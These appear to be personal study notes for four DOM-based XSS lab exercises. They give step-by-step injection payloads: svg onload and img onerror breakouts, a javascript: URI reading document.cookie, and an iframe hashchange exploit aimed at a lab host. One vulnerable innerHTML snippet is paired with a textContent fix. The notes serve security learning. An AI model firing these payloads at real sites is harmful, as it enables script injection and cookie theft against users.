XSS Exploitation

Exe 1: DOM XSS in document.write sink using source location.search

1. Enter a random alphanumeric string into the search box.
2. Right-click and inspect the element, and observe that your random string has been placed inside an img src attribute.

3. Break out of the img attribute by searching for:

   "><svg onload=alert(1)>

Payload: "><svg onload=alert(1)>

Exe 2: DOM XSS in innerHTML sink using source location.search

1. Enter the following into the into the search box:

   <img src=1 onerror=alert(1)>
2. Click "Search".

The value of the src attribute is invalid and throws an error. This triggers the onerror event handler, which then calls the alert() function. As a result, the payload is executed whenever the user's browser attempts to load the page containing your malicious post.                 

Payload: <img src=1 onerror=alert(1)>

Vulnerable Code:

<span id="searchMessage">test</span>
<script>
function doSearchQuery(query) {
  document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if (query) {
  doSearchQuery(query);
}
</script>

Mitigation Code:

document.getElementById('searchMessage').textContent = query;

Exe 3: DOM XSS in jQuery anchor href attribute sink using location.search source

1. On the Submit feedback page, change the query parameter returnPath to / followed by a random alphanumeric string.
2. Right-click and inspect the element, and observe that your random string has been placed inside an a href attribute.

3. Change returnPath to:

   javascript:alert(document.cookie)

   Hit enter and click "back".         

Payload: https://vulnerable-site.com/feedback?returnPath=javascript:alert(document.cookie)             

Exe 4: DOM XSS in jQuery selector sink using a hashchange event

1. ❌ Hashchange does NOT require a page refresh.

2. ✔️ It fires only when the hash changes, not when it’s initially loaded.

3. ✔️ The lab exploit works by causing a hash change, not a reload.

In this lab the vulnerable source (location.hash) which should be reload initial payload will not be executed because it's not triggered in the sink (hash change jquery); hence use the iframe code to inital load iframe not executed after reload it execute the onload script. 

<iframe src="https://0ac800ea03ca226380220300009f001b.web-security-academy.net//#" onload="this.src+='<img src=x onerror=print()>'"></iframe>